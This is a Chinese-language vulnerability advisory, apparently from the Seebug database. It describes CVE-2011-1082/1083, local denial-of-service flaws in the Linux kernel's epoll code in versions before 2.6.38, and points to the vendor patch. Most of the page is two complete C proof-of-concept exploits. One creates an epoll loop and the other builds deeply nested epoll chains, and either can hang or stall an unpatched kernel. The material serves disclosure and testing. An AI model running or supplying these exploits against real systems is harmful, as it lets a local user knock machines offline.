Linux Kernel epoll Subsystem “eventpoll.c”多个本地拒绝服务漏洞

2012-02-2200:00:00

Root

www.seebug.org

0.0004 Low

EPSS

Percentile

12.9%

JSON

BUGTRAQ ID: 46630
CVE ID: CVE-2011-1082,CVE-2011-1083

Linux Kernel是Linux操作系统的内核。

Linux Kernel 2.6.38之前版本的fs/eventpoll.c在epoll子系统的实现上存在本地拒绝服务安全漏洞，将epoll文件描述符放置在其他epoll数据结构中，没有检查已关闭的循环或深链接，攻击者可利用此漏洞造成拒绝服务
0
Linux kernel < 2.6.38
厂商补丁：

Linux

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.kernel.org/


                                                #include &lt;unistd.h&gt;
#include &lt;sys/epoll.h&gt;
int main(void) {
     int e1, e2, p[2];
     struct epoll_event evt = {
         .events = EPOLLIN
     };
     e1 = epoll_create(1);
     e2 = epoll_create(2);
     pipe(p);

     epoll_ctl(e2, EPOLL_CTL_ADD, e1, &amp;evt);
     epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &amp;evt);
     write(p[1], p, sizeof p);
     epoll_ctl(e1, EPOLL_CTL_ADD, e2, &amp;evt);

     return 0;
}










http://downloads.securityfocus.com/vulnerabilities/exploits/46630_2.c
#include &lt;unistd.h&gt;
#include &lt;sys/epoll.h&gt;
#include &lt;sys/time.h&gt;
#include &lt;stdio.h&gt;

#define SIZE 250

int main(void) {

    int links[SIZE];
    int links2[SIZE];
    int links3[SIZE];
    int links4[SIZE];
    int i, j;
    int ret;
    int ep1, ep2;
    struct timeval start, end;

    struct epoll_event evt = {
        .events = EPOLLIN
    };

    ep1 = epoll_create(1);
    for (i = 0; i &lt; SIZE; i++) {
        links[i] = epoll_create(1);
        ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &amp;evt);
        if (ret)
            perror(&quot;error 1&quot;);
    }
    for (i = 0; i &lt; SIZE; i++) {
        links2[i] = epoll_create(1);
        for (j = 0; j &lt; SIZE; j++) {
            epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &amp;evt);
            if (ret)
                perror(&quot;error 2&quot;);
        }
    }
    for (i = 0; i &lt; SIZE; i++) {
        links3[i] = epoll_create(1);
        for (j = 0; j &lt; SIZE; j++) {
            epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &amp;evt);
            if (ret)
                perror(&quot;error 3&quot;);
        }
    }
    for (i = 0; i &lt; SIZE; i++) {
        links4[i] = epoll_create(1);
        for (j = 0; j &lt; SIZE; j++) {
            epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &amp;evt);
            if (ret)
                perror(&quot;error 4&quot;);
        }
    }

    ep2 = epoll_create(1);
    gettimeofday(&amp;start, NULL);
    ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &amp;evt);
    /* creates a loop */
    //ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &amp;evt);
    if (ret)
        perror(&quot;error 5&quot;);
    gettimeofday(&amp;end, NULL);

    printf(&quot;%ld\n&quot;, ((end.tv_sec * 1000000 + end.tv_usec)
        - (start.tv_sec * 1000000 + start.tv_usec)));

    return 0;

}